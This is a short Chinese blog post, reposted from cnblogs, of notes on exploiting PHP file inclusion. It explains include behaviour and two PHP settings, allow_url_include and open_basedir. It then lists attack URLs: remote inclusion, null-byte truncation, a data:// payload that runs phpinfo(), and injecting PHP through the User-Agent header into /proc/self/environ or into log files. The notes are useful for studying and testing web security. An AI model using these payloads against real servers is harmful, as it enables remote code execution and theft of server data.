php 文件包含笔记(转)

php 中可以通过include()、require()、include_once()、require_once() 函数包含文件,被包含的文件无论类型都会被执行。 当allow_url_include 配置为on 时,则允许包含远程文件,反之为off 时则只允许包含本地文件。另外一个比较关键的配置为open_basedir,这个选项限定了可以包含的目录。

1、代码示例:

本地文件:192.168.1.8/test.php?test=a.jpg

远程文件:192.168.1.8/test.php?http://www.chuhades.com/index.php

2、截断

可以通过截断来突破一些字符拼接。 代码:

这个代码如果你直接192.168.1.8/test.php?test=a.jpg,实际包含的是“a.jpgabcd”,文件不存在,会出错。

因为php 的内核是c 实现的,所以可以通过0 字节进行字符串截断。

192.168.1.8/test.php?test=a.jpg%00

包含远程文件时也可以通过“?”把后面的代码解释为URL 的参数,加以截断。

3、本地文件包含的利用技巧

(1)包含用户上传的文件。 (2)包含data:// 或php://input 等伪协议。 http://192.168.1.8/test.php?test=data:text/plain,<?php phpinfo();?>%00 (3)包含Session 文件。 (4)包含日志文件,比如web server 的 error_log、access_log。 一般步骤:httpd.conf —-> log (5)包含/proc/self/environ 文件。 在user-agent 中注入php 代码。 (6)包含上传的临时文件。

http://www.exploit-db.com/download_pdf/17010

(7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。

4、其他函数 fopen() fread() ……

5、实例

http://www.wooyun.org/bug.php?action=list&subtype=49

http://www.wooyun.org/bug.php?action=list&subtype=15

原文地址:https://www.cnblogs.com/demonspider/p/2949906.html